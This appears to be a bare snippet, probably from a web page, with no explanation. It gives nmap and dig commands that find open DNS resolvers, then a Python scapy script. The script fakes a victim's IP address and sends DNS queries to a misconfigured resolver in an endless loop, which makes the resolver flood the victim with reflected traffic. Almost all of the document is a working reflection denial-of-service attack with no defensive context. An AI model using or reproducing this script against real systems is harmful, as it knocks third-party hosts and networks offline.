nmap -sU -p53 --script dns-recursion xxx.xxx.xxx.xxx
####################################################
dig +short test.openresolver.com TXT @xxx.xxx.xxx.xxx
###################################################
#!/usr/bin/python
from scapy.all import *
#victimIP = input("Please enter the IP address for the victim: ")
victimIP = 'xxx.xxx.xxx.xxx'
dnsIP = input("Please enter the IP address for the misconfigured DNS: ")
while True:
send(IP(dst=dnsIP,src=victimIP)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.google.com")),verbose=1)
Comments